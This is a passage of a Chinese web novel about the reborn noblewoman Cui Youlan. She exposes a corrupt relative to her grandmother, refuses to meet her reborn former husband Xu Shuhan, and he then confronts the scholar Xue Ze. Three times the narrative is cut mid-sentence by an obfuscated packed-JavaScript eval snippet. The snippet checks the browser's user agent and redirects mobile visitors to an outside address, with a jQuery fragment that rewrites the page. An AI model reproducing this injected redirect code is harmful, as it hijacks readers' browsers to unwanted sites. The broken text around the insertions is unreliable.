俞氏午觉才起,正靠在那里养神,崔幼澜说话时她闭着眼,几乎要令崔幼澜以为她又睡去了,根本没有在讲话。 直到她说完,俞氏才睁开双眼,可面色却平静如常,一点都不像崔幼澜那样义愤填膺。 “七娘,你还是浮躁了。”俞氏年纪大了,一双眸子却明亮,此时正看着崔幼澜。 崔幼澜一时语塞,也察觉到自己的不妥,可又怕俞氏轻轻揭过此事,忙又道:“我也是怕蒋……婶娘继续做恶。” “你怕不怕,她不是都已经做了吗?”俞氏摇了摇头,把她拉到自己身边坐下。 俞氏一向对小辈们严厉,对崔幼澜更是严加教养,此时才稍稍柔和了神色。 俞氏叹了口气,又道:“我总说你在你们姐妹中最稳重得体,如今看看也不甚好,你这样要如何入宫?” 在俞氏看来,蒋氏事小,崔幼澜入宫才是事大。 崔幼澜心道,本来也入不了宫了。 但面对俞氏,崔幼澜也只能先沉下心,说道:“是孙女错了。” “你就是见得少了,”俞氏道,“我从前也是在宜州乡间长大,这样欺善怕恶的事,其实哪个地方都不少见。” “那也不能由着她在外败坏我们崔家的名声啊!”崔幼澜差点惊出一身冷汗,祖母如此轻描淡写,难道是不想管吗? 但下一刻她便听见俞氏又说道:“所以我回来了一趟。” 崔幼澜张了张嘴,没有说话。 俞氏道:“我先前就和你们姐妹说了,来宜州是为了重新分派产业,但其实也不仅仅是如此,那时没和你们说,也是不想你们听见这些腌臜事。我在宜州这几年也对蒋氏做的事略有耳闻,原先想着只要不做得太过分也随她去,就比如田产生意上的账目,反正都是自家人,睁一只眼闭一只眼让她多拿点也无妨,崔家不靠这点子东西过日子。” “但近几年她愈发不收敛,家里的事也就罢了,外头什么脏的臭的事她都沾,眼皮子又浅,连人家一筐瓜果看见了都要索取,要不到便为难人家。”俞氏重重叹了一口气,“上个月她馋人家的桑椹,又嫌人家给太少是看不起她,便叫人放火烧了人家还没来得及采摘的果树,她如此过分,我怎么可能不管?” 崔幼澜没想到俞氏竟这么清楚,忙又问:“她作了那么多恶,难道官府就不管吗?” 俞氏道:“官府知道是崔家的事便压了下来,但这次实在闹得有些大,便悄悄通会了崔家,我这才知道。我这次回来没带其他人,也是怕蒋氏惯会疏通,到时候掺和进来的人多了,便又不好整治了,叫她逃过去。” “那么祖母打算怎样做呢?”崔幼澜追问道。 俞氏深深地看了她一眼,一丝不快显露出来,然而又不疾不徐道:“七娘,我才说过你,你怎么又浮躁了?” 在崔幼澜以及众兄弟姐妹的记忆中,俞氏留给他们的印象大抵是一致的,那就是严厉又死板,所以此时俞氏的神情,竟让崔幼澜有些害怕,不过也出乎意料的使她平静下来。 “这蒋氏交上来的账目有问题,我是一早就知道的,只不过一直没说,眼下她做事又过火,正好趁机把她手上的事情全都卸走,”俞氏端起茶喝了一口,“今后宜州这里还是由各位宗亲们一起打理管束,好过让他们这房吃独食,这些年也够了,到那时蒋氏自然不成气候,不敢再在宜州兴风作浪,否则其他人也不容她。” 这些年蒋氏掌了崔家在宜州祖宅的大权,两口子便有意将崔家其他人排挤在外,一面又极力讨好盛都的承恩侯府,以为可以一直这样下去,然而也没想到最后出事的并不是送到盛都的账簿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299187|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是在宜州横行霸道的事东窗事发。 崔幼澜听后沉默片刻,才轻声说道;“原来祖母从一开始就是为了她的事来的。” 什么收拢产业重新分派都是后话了,首要目的却是惩治蒋氏。 俞氏冷哼一声:“她和她家那口子都不是省油的灯,一个在内一个在外,不知做下多少伤天害理的事,宜州是我们崔家的根,不能到头来让宜州的百姓戳我们脊梁骨,说我们作威作福。” 她不等崔幼澜再说话,便继续对崔幼澜道:“这事我自有打算。你眼看着就要入宫了,那才是最大的事,宜州这里说到底也与你并无多大干系,你不用放在心上,薛家那里我也会找人去安抚好。你多想想入宫后的事,要如何去帮衬你大姐姐,你大姐姐这些年没有子嗣,并不如表面上那样风光,你记着往后你们姐妹两个一定要互相扶持,崔氏从宜州再到盛都立足不容易,荣华富贵可就全系在你和娘娘的身上了,你要牢牢记着这些。” 崔幼澜连忙应是,俞氏稍稍缓了声气,又说:“你先回去罢,我瞧着这几日天气不错,你们姐妹俩若是得了空,出府在城里逛逛也使得,我不拘着你们,成日陪我闷在家里也没意思。” 俞氏在家中说一不二惯了,从来就没有人敢忤逆她,更何况是底下孙辈,她不让崔幼澜再关心此事,崔幼澜也不好再说什么,况且又被她教训了一番,也只能讪讪出来。 从俞氏的萱茂堂出来之后,崔幼澜半边身子靠在裁冰身上,倒是忽地有些脱力。 俞氏后头的话虽不多,可却如刀子一般一记一记在她心上划着,不深却足以划出血来。她对她入宫之事如此寄予厚望,那么一旦崔幼澜的事揭开,俞氏必定是难以承受的,不仅是她和崔元媞的前程,也是崔家的前程。 崔幼澜并不敢担保,这辈子她陪在俞氏身边,俞氏就不会再像上辈子一样出事,俞氏的心性最是强硬,却也最是脆弱。 另还有一事,方才在俞氏面前时崔幼澜不敢去想,生怕被俞氏看出来她不对劲,这会儿她却是怎么也不能逃开了。 今日俞氏的话,就表明俞氏原本就是为了蒋氏来的,并不是这一世崔幼澜来了之后发现薛家之事才导致的,那么上辈子也一定是这样,所以会不会是蒋氏因着此事发了狠心,便伤害了俞氏? 看看蒋氏对待原本无冤无仇的薛家做出来的事,崔幼澜几乎毫不怀疑她干的出来。 可她也不敢确定,仿佛这是在为自己狡辩,在为自己洗脱罪孽,毕竟上一世俞氏的死摆在明面上就是被她气的。 崔幼澜的步子渐渐虚浮起来,她停下来,伸出一只手去扶住廊柱,抬头举目远眺过去,宜州祖宅的院墙一重又一重,又因人丁稀少,就连仆从也只有那么几个,而更显得寂寥,再联系到俞氏有可能即将到来的死亡,更衬得这里仿佛一座巨大的坟茔一般,不仅要埋葬俞氏,也要埋葬她。 站立了许久之后,崔幼澜轻轻吐出一口气,对裁冰道:“我们回去吧。” 她既然已经来了这里,决定要救俞氏,要救崔清月和薛泽,那么即便是坟茔,她也要用双手把它扒开,哪怕鲜血淋漓。 11. 来信 崔幼澜让凝碧给薛泽送去的藏书,薛泽果真没有再拒绝。 不过凝碧没有带来薛泽的感谢,而是薛泽自己跟着凝碧悄悄进城了一趟。 如今大雍朝虽然民风开放,男女之事上并不很严防死守,然而男女若是私自见面总归还是不妥,崔幼澜原本不想出去见他,但一想到自己眼下光景,也算是债多了不愁,再加上薛泽心思纯粹,并无旁的想法,自己扭捏起来反而可笑,便干脆出去了。 凝碧一开始当然是不愿意带他来的,可是薛泽说得诚恳,自己又不好阻他进宜州城,便也只好随他跟着了,只是并没有满口答应他,只把他带到崔宅西面的一处角门旁,崔宅人少,这里更是无人进出,所以不会被发现,但凝碧也同他说好了,若是一炷香时间内崔幼澜没有出来见他,便让他自己自觉离开。 薛泽不难缠,一口便应下了。 他心里也没有底,原先也只是少时的玩伴,且总共只有那么三四个月,而如今又只见过一面,崔幼澜肯悄悄接济他已经很好,他拒绝了她的好意,没想到她又让人拿了书给他,薛泽已经翻看过了,别说是薛泽如今囊中羞涩很难买得起书,便是寻常富贵人家也是很难再在市面上买到的,应该是崔家的藏书。 但即便不太可能见面,薛泽也想当面谢她。 角门边偷偷探出了一个头,薛泽认出来就是这几日往他家跑了两次的凝碧,凝碧见他在便冲着他笑了笑,自己先从角门里面出来,确认过四处无人,才往里面扶了一个人出来。 不用猜也知道是崔幼澜。 薛泽舔了舔唇,人到了跟前,反而有些不好意思了。 他想说些什么,却发现自己竟然都没想好要怎么说。 “书拿到了?”耳边传来一道好似泉水泠泠的声音,便是不看她的脸,都能想象得出她脸上的笑意盈盈。 薛泽觉得自己从来没听过那么好听的话语,虽然他还有些记得她从前的声音,但那毕竟已经远去了,那时她还小,声音中还带着稚气,如今却已经是少女了。 “拿到了,”薛泽每说一个字,心里便一颤,“多谢。” 崔幼澜点点头:“那些书你先慢慢看着,不用着急还我,我还要在宜州待上一段时日,若你有先看完的,便过来再换。” 闻言,薛泽却并没有应声,他看向崔幼澜璨璨的眸子,千回百转之间,却说道:“这样还是太麻烦了,府上蒋夫人看见了,恐怕又有话说。” “你不必怕她,”崔幼澜的语气明快,“她在宜州横行霸道的日子也到头了,我已经把你们家的事和祖母说了,祖母也知道她的一些事情,这次不会轻易饶了她。” 寻常人听见她这样说,心腹大患被除必定是欣喜若狂的,再不济也是松一口气,然而薛泽的神色却并没有变化。 崔幼澜心下惊讶,也不禁起了探究之意。 薛泽已经说道:“七娘子挂心了。” “若你还知道些什么,也可以现在告诉我,蒋氏针对你们也不是一天两天了。”崔幼澜想了想之后道。 “没有什么,”薛泽摇头,“是非曲直自在人心,不必我说,相信我的总会相信,不信我的再说无用,背后讲人好坏,七娘子又焉知我说的是真话还是假话。再说蒋夫人总归是七娘子的长辈,我若当着七娘子的面说她坏话,七娘子又如何自处?” 崔幼澜差点被他哽住,又觉得薛泽此人也是耿直得过分了,只可惜因为干活被晒得黢黑,不然也是个翩翩书生了。 她只好道:“那好吧,你不愿意说就算了。不过回去之后将好消息与你母亲说一说也无妨,宽宽她的心,蒋氏不会再胡来了。” 薛泽再次道谢,才道:“我走了,七娘子也保重。” 崔幼澜也没有其余的话要再说,毕竟她和薛泽如今只算得上是萍水相逢,她不过是伸出手帮了一把,并无其他关系了。 两人就此转头散开。 角门处又恢复宁静。 然而在角门外这一条巷口处,崔幼澜却不知她和薛泽的举动早落入了他人的眼中。 *** 回到竹风阁,崔清月已经坐在那里等着崔幼澜用饭,她性子沉静,将崔幼澜这几日的繁忙看在眼中,却也从不多问什么。 “七妹妹累了吧,坐下先喝口茶再用饭。”崔清月只对崔幼澜这样说。 一听崔清月说话,崔幼澜便觉心里熨帖得很,乖乖坐到她身边,喝她给她倒的茶,崔清月却笑着摇了摇头,然后起身往外间去看婢子们摆饭。 崔幼澜端着茶杯,杯中茶水温热,逸出一层淡淡的氤氲,被水雾一熏,连眼睫都湿润起来。 她看着不远处崔清月的背影出神,崔清月这样柔和恬淡的性子,本就不适合入宫,她应该有一位好脾气好品性的夫君,去与她举案齐眉,度过漫长的岁月。 是因她之失,才使得根本就不该入宫,并且没有任何入宫准备的崔清月羊入虎口。 “七娘子,”这时剪雪忽然过来轻轻叫她,打断了她的思绪,“方才有人给你送来一封信。” “送信?”崔幼澜一时奇怪,“我在宜州能有谁给我送信?” 也不会是盛都的父母送来的,否则剪雪便会直接说了,崔幼澜狐疑地拿过剪雪手上的信,果真信封上什么字都没有,就和它的来历一样莫名其妙。 剪雪看崔幼澜并没有拆开,便又道:“是宅子里一个老仆妇悄悄拿过来的,问她什么都说不清楚,想来是收了钱的,娘子不看也罢,我这就拿去烧了便是。” “看来我们崔家这祖宅还真是要好好管管了,任何一个仆妇都能随意往里面传递东西,如今我们在尚且如此,不在的时候还不知是怎样的乌烟瘴气,你瞧瞧,这没来历的东西都塞到我跟前了。”崔幼澜叹气,只是也不将信再给剪雪。 她说完便随手撕开信封,从里面抽出一张薄薄的信笺。 信笺很普通,并没有什么花样,然而崔幼澜只瞥了一眼上面的字,便立刻下意识将信笺按在了桌案上。 崔幼澜一眼就认出了,那是徐述寒的字。 夫妻七年,双方之间虽然冷淡,可他的字崔幼澜还是能认得的,即便崔幼澜自己说不上来到底是什么时候开始有印象的。 “怎么了?”剪雪被崔幼澜的动作吓了一跳。 这时裁冰也注意到了,走过来道:“剪雪你也真是的,这种东西既然知道是私自传递过来的,就不该送到娘子跟前来,万一是什么不干不净的东西,吓到娘子可怎么好?” “没事,”崔幼澜努力想使自己平静下来,至少不要让裁冰她们几个看出端倪,可声音却骗不了人,才短短片刻工夫,便已经沙哑了,“是个我从前在宜州认识的旧友,我乍然听闻故交音信,一时激动罢了,你们先过去前面帮着摆饭吧,我想一个人在这里安安静静看信。” 裁冰和剪雪面面相觑,明知崔幼澜平素不是那么容易不能自持的人,但既然主子已经这样说了,她们也不好再故意把事情拆开,只能先带着人出去了。 许是她们忘记了,里间与外间的房门并没有关上,崔幼澜抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299188|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仍能看见崔清月以及一众仆婢在外忙碌,就和方才一模一样,可此刻她的思绪却已经飘远了。 徐述寒,她前世的夫君,给她递了一封信进来。 且她眼下是在宜州,那便能说明一件事,他此时也十有八九已经身在宜州了。 崔幼澜指尖的力道虚浮起来,明明下面压着薄薄一张信笺,可她虚虚一抓,却没将信笺抓起来,连抓了三四次,直抓到信笺已经有了褶皱,这才重新拿到了手上。 崔幼澜来来回回将信看了好几次,上面的字她是认得的,也念得出来,但似乎却要很艰难才能解释出上面的意思。 徐述寒让她今夜亥时初的时候出府一趟,他就在府外等她,二人见一面。 那张信笺在崔幼澜的手中终于被团成了一团,她打了个冷颤,渐渐清醒过来。 徐述寒果真就在宜州。 他也重生了。 崔幼澜没有丝毫怀疑。 他也重生了,所以在她那日离开之后,他便来宜州找她了。 即便是透过信笺上寥寥几言,她便已经能想象到他说话时的语气,还是那样她所熟悉的冷淡,仿佛两人不是夫妻,一切都需要公事公办。 冷淡中又带着些随意,若他果真从来不认得崔幼澜,只是那日记住了她,依着徐述寒的性子,应该并不会那么随便。 况且如果真的是这样,他一定不会来找她。 上辈子的这个时候,他心心念念想的还是沈雪音,极力争取继续和她的亲事。 只有他知道她有了孩子之后,才会彻底认命。 崔幼澜自那日悄悄逃开之后,便一直存着侥幸的心思,重活一次这样的好事轮到她一人就够了,徐述寒没有必要,没有他她行事倒还更利落些,而崔幼澜又一心想着俞氏和崔清月,后来又加上了薛泽,也没工夫再去想徐述寒,就当他什么事都不知道。 而今日,这个谜题终于揭开了。 徐述寒主动出现了。 这对于崔幼澜来说并非是一件好事,反而给她添了一个大麻烦,她不知道徐述寒想如何做,她也无法要求徐述寒所想所为与她的一致。 自然,崔幼澜无意也无心情去揣测徐述寒到底想怎么样,这是他的事,与她无关。 她只想从此之后与他毫无瓜葛。 眼下正是大白天,但里间幽暗,便点了一盏灯,崔幼澜起身便走到烛台前,果断地烧了徐述寒的信。 她不会去见他,也不想再和他说任何话。 今夜只要她不出现,徐述寒便不会猜不出她的用意,她有自己的人生要过,即便艰难些,好坏都是她自己扛,他回去之后也可以放心去娶沈雪音了,让沈雪音免于后面的折磨,而崔幼澜并不会再找上他。 很快信笺烧出来的灰烬带着余温落在烛台边上,一阵微风从窗棂外吹来,将灰烬拂落,在降于地面的半空中便化为了齑粉。 崔幼澜看着齑粉烟消云散,眼中的光彩也慢慢恢复过来。 在看见徐述寒的字迹时,有那么一瞬她是害怕的,或者说知道信笺被烧毁前,她都还是怕的,可当看见灰烬化为齑粉的一刹那,她的灵台却忽然清明起来。 世事总有结果,尘埃落定之后便如这齑粉,再大的事也会归于虚无,她又为何要去怕那过程? 即便过程会有不易。 她唇上划过一抹浅笑,迤逦朝着外间走去,崔清月正要来叫她用饭,转身便见崔幼澜笑着走过来,便挽过她的手道:“七妹妹,吃饭了。” “好。” 12. 夜来 亥时三刻,再过不了多久,打更的人便又要来了。 一只归巢的寒鸦从头顶掠过。 永年抬头看了看黑压压的夜空,又望了望那边崔家高高的院墙,轻轻叹了一声气。 “郎君,都这么晚了,咱们回去罢。”永年小声道,“肯定不会有人来了。” 虽然已经是春日里了,可一到夜里还是寒浸浸的,永年紧了紧身上的衣裳,真是荒谬,这么多年几乎是头一次,他不知道徐述寒要做什么,也不知道他要见什么人。 但永年猜也能猜得出来几分,不是崔家六娘就是崔家七娘。 永年觉得徐述寒是着了魔,被什么东西魇着了,对别家女郎着迷便算了,可这无端端的,人家怎么可能大晚上出来见他? 恐怕眼下崔家娘子都还不知道他是谁! 永年见徐述寒不说话,又说道:“回去吧!” 徐述寒还是没有搭理他。 戌时之前他就已经到了这里等待着,一开始他还是有些焦心的,毕竟见一面总要说些什么,他还没想好要怎么说——他和崔幼澜之间的话一向不多。 可他一直等着,崔幼澜也没有出来。 徐述寒的心渐渐冷下去,但很快又被另一种焦躁代替,比方才刚来到时要更强烈深刻。 她心里有气又怨怼,他是一直知道的,所以这辈子她先跑开了,大抵也是和他赌气。 但他总以为,她跑又能跑到哪里去呢? 总要回来的。 平哥儿还在她的肚子里。 等到她清醒过来,她就会知道不顾一切地逃开实在不是一个明智之举。 就算崔家能允许她不入宫,崔家也不可能同意她未婚先孕。 徐述寒觉得自己总归是对她心软的,他跟着她来了宜州,以便她找到他。 他原本到了宜州之后倒也不急,反正她就在崔宅里面,在他的眼皮子底下,可他竟发觉她和薛泽热络起来。 薛泽,徐述寒在心里咬牙切齿地念了一遍这个名字。 他听过这个人。 上辈子崔家老宅出过一件事,有人趁着夜深伤了宅子里的人然后潜逃了,徐述寒作为崔家的女婿自然知道,同样的他也知道,崔幼澜当时想过要找人去宜州再查一查此事,只是后来因为种种原因只能放弃。 他都在窗外看见了,崔幼澜竟为了那个潜逃的罪人难过,就因为这个罪人与她幼时相交过,而这个罪人的名字就叫做薛泽。 简直是莫名其妙。 眼下薛泽还没出事,而她就已经坦然与他来往起来了。 她让婢子给他送钱,他不要,她又让婢子拿了书过去,薛泽收下了。 可她对他又是怎样的? 徐述寒的手紧紧攥起来,她作为妻子处处妥当,却从来没有对他如此殷勤过。 于是他再也等不及,往崔家递了信进去。 然而那信还没送到崔幼澜手里,他就看见了崔幼澜偷偷溜出来,和薛泽在门外私会。 徐述寒当即便想走过去堵住他们,但他终究还是有一丝克制,生生忍住了。 眼下便贸然出现,无论是对崔幼澜还是对他都不会是一件好事,更何况此时是在崔家宅子外面,万一惊动了里头的老夫人俞氏,怕是不好解释,反而惹得老夫人疑心,更难见到崔幼澜就不妙了。 那边两人不知说了些什么,很快也分开,徐述寒让永丰去盯着薛泽,而他自己则一直在这附近徘徊,游荡到了入夜,在戌时前便好整以暇地等在了这里。 崔幼澜没有来。 他一时竟猜不透她到底在想什么,甚至于要看不透她这个人了。 面对永年喋喋不休的催促,徐述寒也心知即便再等下去,崔幼澜还是不会出来的,等到天亮也无济于事。 “走吧。”他冷声说道。 永年如蒙大赦,不防瞧了徐述寒一眼,立时便打了个寒颤,只觉徐述寒脸色难看至极,比这夜色还要沉上几分。 永年缩了头不敢说话,只在前为徐述寒带路。 徐述寒一路上仍旧什么话都没有说。 重生后的崔幼澜令他匪夷所思,甚至要让他怀疑那并不是从前的崔幼澜,而是被什么鬼魅占据了躯壳。 可这终归都是聊以安慰的无稽之谈,那个人确确实实就是崔幼澜,他同床共枕七年的妻子。 她不肯见他,他一时竟也找不到办法。 她宁可与那个罪人薛泽私会。 徐述寒忍下一口气,崔幼澜见不到,但是薛泽可以,这几日总要去会一会的。 *** 俞氏行事向来干脆利落,不会瞻前顾后,既然决定要惩治了蒋氏,便慢慢开始了。 蒋氏明面上一直做得很好,对于崔家来说自然是没话说的,俞氏心里有主意,但也不好一时做得太过,反而让一些不知内情的族人猜疑惶恐,人心散乱。 账簿是蒋氏一早就亲自捧来的,俞氏之前就在看,俞氏倒找来崔幼澜和崔清月姐妹两个商议一番,决定就从账簿开刀。 这些年的账目蒋氏做得细致,只有细看才能看得出破绽,而俞氏以及盛都那边的崔家人也都是睁一只眼闭一只眼,让她拿一些也不必那么计较。 只是这么做也把她的胃口越养越大,去年送到盛都的账已经开始错漏百出。 俞氏倒先不揪着她这些错去发挥,她只当蒋氏的账是对的。 她对蒋氏道:“这些年辛苦你了,我们在盛都什么都不知道,宜州这里全靠你们夫妇撑着,也甚是不易。” 俞氏向来严厉,能从她嘴里得到几句好话也不是一件容易的事,蒋氏为着账簿的事倒是提心吊胆了几日,眼下得了俞氏一句夸奖,自然是喜笑颜开。 只是蒋氏正要说话,俞氏却又指着账簿上一处道:“我看这个庄子每年的收入微薄,还时有亏损,连同还有几个也是如此,你们经营得也艰难,我想着不如就这样,将这几个地方都卖出去罢了,也省事些。” 蒋氏脸上的笑容一僵,连忙说道:“好好的,况且也不是赔得厉害,其他地方进项又多,实在是也没必要卖了,咱们家是什么人家,若是卖了这些田产庄园,反而叫人怀疑崔家不行了。” “怀疑崔家不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299189|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行?”俞氏倒是笑了起来,“有娘娘在宫里,过些时日七娘也要入宫了,谁会怀疑崔家不行?这不用担心,崔家的事由我做主,我说卖了就卖了,你们也轻省些。” “那便听老夫人的,卖了。”蒋氏收敛住脸上的烦躁,话语间也不敢再反驳,俞氏在家里说一不二惯了,若是执意要劝她,或许倒霉的就是自己了。 但蒋氏心里又和猫爪抓似的难受,俞氏只说把这些产业卖了,那卖了自然又有一笔多出来的进账,这笔进账又归谁?俞氏是自个儿拿走了,还是再交给她打理? 虽说是宜州祖宅的产业,可崔家发迹全靠的是盛都那一系,这些东西自然也是那边出钱置下的,只不过平日里其中也有一部分是用来养崔氏族人的,蒋氏是在这里打理执行的人,实际上她并没有权力过问钱款的去处。 不过蒋氏素来精明,她眼珠子一转,立刻便说道:“卖了倒也好,只是一时倘或找不到合适的人接手,卖得快了恐怕吃亏,不如我慢慢让人去寻访着,等找准了时机再卖也不迟。” “此事是不能急切,”俞氏这回赞同地点了点头,然而话锋一转却又说了令蒋氏心冷的话,“我此次要在宜州多住一段时日,人老了总是想着家乡的,也不知往后还能再来几次,不过想来这段时间也足够找到合适的人出手了。” 蒋氏笑了笑,微微低下头,眼中寒光却一闪而过。原先还存着侥幸,以为俞氏只是来小住几日,顺带着看看这里的情况,但没想到俞氏竟开始要整治下面的田产,这说话也油盐不进的,十有八九就是冲着他们夫妇来的,即便不是,他们已经享用了那么多年好处,哪怕剥去一层也是肉疼得紧。 然而饶是心里再恨,蒋氏面对俞氏也只好赔笑:“老夫人说的是,定能卖上一个好价钱的,您莫说是住一段时日,便是长期住在这里也使得,我们夫妇来侍奉您,就怕您不给我们这个机会!” 闻言,俞氏叹了一声,拍了拍蒋氏的手:“我知道你们都是孝顺孩子,只是盛都那里也离不得我,不得不回去。” 蒋氏便赶紧岔开话题问:“说是七娘子过阵子便入宫,大约是什么时候呢?” “先说着是半年之后,我也想着让她早些入宫去帮衬娘娘。”俞氏道。 “我看七娘子小小年纪便气度不凡,想必是有极大福泽之人,老夫人就更有福分了,两个孙女都如此有出息,咱们崔家何愁不兴旺,连带着我们这些乡下人也沾光!” 蒋氏的嘴巴如倒豆子一般地说着吉祥话,哄着俞氏开心,俞氏又同她闲话了几句家常,一时俞氏也累了,便让蒋氏先下去了。 蒋氏回了自己房里,坐立不安了许久,时而想着要不就这么算了,听任俞氏将产业卖了,时而又舍不得,恨不得把那些东西全拢到自己手上。 这俞氏也是够狠心的,自己在盛都吃香的喝辣的,享用不尽的荣华富贵,却偏偏还与他们来争这一点蝇头小利,换作别个送也是要送他们的,何苦让他们自己想办法挣钱,更不用说如今还要卖了。 最后她还是叫来自己身边的心腹仆妇,对她道:“你去把那几处的真账拿过来。” 13. 骨气 正午烈日之下,阡陌纵横的田间依旧有人在辛苦劳作,汗如雨下。 薛泽背朝着天,愈发努力地干着农活,希望早些结束手上的活,可以去旁边歇一歇。 “阿泽,先过来喝点水吧!”田边树荫下,母亲陈氏在叫他。 每日都是薛泽和母亲一块儿来田里干活,但这几天日头已经毒起来了,薛泽不忍心母亲辛苦,便早早让她去一旁歇着,自己则是继续苦干。 他每日都是想着能早些干完,早些回去看书,家里条件如今愈发艰难,能趁着天还亮着时看书就趁着,否则天黑下来还要点灯,这可是一项不小的花费,母亲和妹妹为了他读书便紧着他用,其实多少庄户人家一到天黑便上床睡觉,就是因为想省着些蜡烛钱。 薛泽又一声不吭地埋头苦干了一会儿,待妹妹薛湄来田里给他们送饭,陈氏便说什么都不同意薛泽饿着肚子继续干活了,薛泽只能过去和陈氏一起吃午饭。 薛湄嫌一个人在家里吃饭寂寞,也是和他们一起在田里吃的,三个人的饭菜虽然简单,但全家人一起倒也吃的有滋有味。 因着隔壁崔家的田地也有佃农在劳作,薛家三口人想着与蒋氏的纠葛,便也很少去看四周,只一心顾着自己碗里的饭菜,再说说话,并不愿招惹别人。 “下午你回家去歇歇,阿娘一个人在田里就行了,”陈氏往薛泽碗里夹了一筷子青菜,“你妹妹也要人看顾,你得空时也教她读读书写写字。” 薛泽犹豫了片刻,还是道:“我再帮阿娘一阵子,等过了今年,田里收成好便能将欠崔家的债还完了。” 薛湄也马上附和道:“我不用哥哥教,我识得字,也会写,哥哥那些书我闲时看看也看得懂。” 陈氏明白两个孩子的意思,叹了声气后才又说道:“都是你们父亲去得早,留下我们三个人过得艰难。” “不难,”薛泽咽下嘴里的饭菜,继续说道,“阿娘不用担心,有我在呢!” 三个人正说着话,没察觉到附近有一辆马车停了下来,那马车虽然不大,但装饰却华丽,一看就是哪家富贵人家的,不是应该出现在这里的事物,很快便引得周围的人纷纷去看。 徐述寒就在这马车上。 永丰正在马车外向他禀报道:“郎君,我去打听过了,那边的就是薛家一家三口。” 徐述寒没有出声,也没有出来看。 永年陪他坐在马车里面,心里也直发怵,他们家郎君一向出行图方便,都是直接骑马了事,何时要他们备过什么马车? 这下可好,也不知哪里又出了问题,来了宜州前几日都还是正常的,今日却要坐马车过来,永丰嘴巴快还问了为什么,徐述寒的回答是日头太过毒辣,怕被晒黑。 所以宜州以外的地方日头就不毒辣,就不会被晒黑。 永年在心里把这些不能说的话过了一遍,才听见徐述寒终于说道:“出去瞧瞧。” 等他下了马车,永丰便又给徐述寒指了一遍,那边田间地头坐了两男一女正吃饭,其中那个男的背对着他们坐着,衣袖卷起来,可以看出皮肤黝黑。 “过去。”徐述寒又道。 永丰以为徐述寒是让他过去,便先往前走了,结果走了几步又发现不知道过去该干嘛,刚回头要问徐述寒,却发现他已经越过他径直走过去了。 永丰和还停留在原地没反应过来的永年面面相觑了一下,连忙跟上去。 这苦差事落到他们头上,也是好不起来了,羡慕留在盛都的兄弟们。 薛泽吃饭吃到一半,听见身后有脚步声,他担心又是蒋氏的人来找茬,便立刻转过身去。 只见来人是个面如冠玉,风姿绰然的年轻郎君,倒是出乎薛泽的意料,蒋氏何时竟也能请的动这样的人物了。 薛泽放下碗筷,将母亲和妹妹挡在身后,往前面走了几步,向着来人问道:“有何贵干?” 他话音刚落,徐述寒便几不可察地挑了挑眉,听说这薛泽也是个读书人,说话倒是不粗鲁。 只是这模样却与读书人大相庭径,虽模样不难看,又宽肩窄腰,却更像战场上的少年将军,也难怪崔幼澜一直对他念念不忘。 徐述寒的审视中便不由带着些许警惕,正好薛泽也提防着他,一时两两相望,无人说话。 最后薛泽耐不住,又问了一遍:“请问你有什么事?” 徐述寒将目光收敛起来,道:“你就是薛泽?” 薛泽毫不犹豫答道:“是。” 干脆利落又掷地有声。 即便真的是蒋氏的人,他也不怕。 徐述寒给永丰使了个眼色,永丰立刻上前,拿出一包早就准备好的银子递给薛泽。 薛泽自然不会接,只是疑惑地看看徐述寒。 徐述寒轻咳一声,道:“里面是一些钱,我知道你也是读书人,眼下又遇到困难,便想助你一二,还望薛郎君收下。” 他当然知道薛泽早前拒绝了崔幼澜给他的钱,而他今次来给薛泽钱倒也不是为了故意侮辱他,这种事折辱人的事他还做不出来,只是徐述寒以为,薛泽会拒绝崔幼澜的好意,多半是装给崔幼澜看的。 想来如此崔幼澜来会更觉得他人品可贵,也更记着他些。 这不,转头就给他送了书去。 徐述寒只是为了证明给崔幼澜看,薛泽很有心机。 他和崔幼澜之间好不好是他们二人之间的事,但不能被心思深沉之人搅和进来。 永丰的手一直伸在薛泽面前,薛泽却不来拿:“多谢好意,但是还请这位郎君拿回去,我不需要。” 越看这个人越可疑,那满满一包钱,无缘无故为什么出手就要给他那么多钱?怕不是又是蒋氏想出什么阴招,故意来坑他们的。 搞不好拿了这钱,到时就该污蔑他盗窃财物,将他送到牢里去了。 况且就算不是蒋氏,薛泽也不会拿这个钱。 “不用多心,我只是想帮你。”徐述寒又道。 薛泽想了想,也不管徐述寒到底什么来历,只道:“你我连萍水相逢都算不上,我甚至不知你的名姓,又怎能受嗟来之食?” 嗟来之食? 徐述寒倒是一愣。 没想到这薛泽确实有几分骨气。 他立刻示意永丰把钱收起来,不再提这茬。 但崔幼澜的事又使得徐述寒很不能甘心,来一趟总不能什么话都不说。 